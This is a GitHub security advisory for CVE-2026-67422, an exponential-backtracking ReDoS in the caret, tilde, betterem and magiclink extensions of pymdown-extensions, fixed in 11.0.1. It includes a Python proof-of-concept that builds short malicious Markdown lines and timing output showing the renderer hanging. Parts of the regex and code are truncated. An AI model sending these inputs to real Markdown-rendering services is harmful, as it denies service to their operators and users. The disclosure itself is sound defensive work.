GitHub Advisoryadvisory · PyPI

GHSA-gm37-52c6-37mw pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors

HIGH Published 2026-08-07 Modified 2026-08-07 Official page ↗
Aliases
CVE-2026-67422
Ecosystem
PyPI
Packages
pymdown-extensions
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-1333
Reviewed
2026-08-07

Affected packages

• PyPI pymdown-extensions: < 11.0.1 → fixed in 11.0.1

Description

Summary Four inline processors in pymdown-extensions contain regular expressions with exponential backtracking. A single untrusted Markdown line under 50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread (seconds at ~45 bytes, growing exponentially with each added character). All four fire in the extension's default configuration and are reachable through the documented public API. The `caret`/`tilde`/ `betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547 (first released in 10.13, Dec 2024) — earlier releases used a linear `(.+?)` / `([^\s]+?)` content group — and is present through 11.0 (latest); `magiclink`'s host pattern is long-standing and affects effectively all releases. Likely CWE-1333 (Inefficient Regular Expression Complexity). This is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`, `RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a different root cause (delimiter-run partition ambiguity rather than a `.`/`\.` typo). Details Four regexes share, or closely mirror, a vulnerable shape — an inner group that can partition a run of the delimiter character into `{2,}`-sized pieces in exponentially many ways, wrapped in a lazy `+?` that must fail before the engine can give up: | Extension | Regex | Location (`11.0`) | |---|---|---| | `pymdownx.caret` (superscript `^…^`) | `SUP2` | `pymdownx/caret.py:56` | | `pymdownx.tilde` (subscript `~…~`) | `SUB2` | `pymdownx/tilde.py:55` | | `pymdownx.betterem` (underscore `_…_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` | | `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) | `pymdownx/caret.py:56` (`pymdown-extensions 11.0`): ```python SUP2 = r'(? (malicious builder, benign builder [valid & closed], ramp, hang count) CASES = { "pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44), "pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44), "pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44), "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40), } repro = [] for ext, (evil, benign, ramp, hang) in CASES.items(): base_txt = benign(hang) # valid, closed run: same regex machinery, but linear base = render(ext, base_txt) print(f"\n[{ext}] benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms") prev = None for n in ramp: txt = evil(n) dt = render(ext, txt) ratio = f" (x{dt / prev:.1f})" if (prev and dt) else "" shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)" print(f" malicious len {len(txt):3d}: {shown}{ratio}") prev = dt txt = evil(hang) dt = render(ext, txt) hung = dt is None print(f" malicious len {len(txt):3d}: " f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}") ok = base 1.0) repro.append(ok) print(f" => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte " f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.") assert all(repro), "not reproduced" print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the " "public markdown.markdown() API, default config (each 5 s (HANG) => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant. [pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms malicious len 27: 0.003 s malicious len 33: 0.053 s (x17.1) malicious len 39: 0.962 s (x18.2) malicious len 47: > 5 s (HANG) => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant. [pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms malicious len 27: 0.003 s malicious len 33: 0.052 s (x17.1) malicious len 39: 0.948 s (x18.1) malicious len 47: > 5 s (HANG) => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant. [pymdownx.magiclink] benign baseline (len 52, valid+closed): 4.935 ms malicious len 37: 0.033 s malicious len 41: 0.210 s (x6.4) malicious len 45: 1.405 s (x6.7) malicious len 49: > 5 s (HANG) => REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant. VERDICT: exponential ReDoS reproduced in all four extensions via the public m…

Related

Alias · CVE (1)

  • CVE-2026-67422 pymdown-extensions is a collection of extensions for the Python Markdown library. vulnerability

Weakness · CWE (1)

  • CWE-1333 Inefficient Regular Expression Complexity weakness

References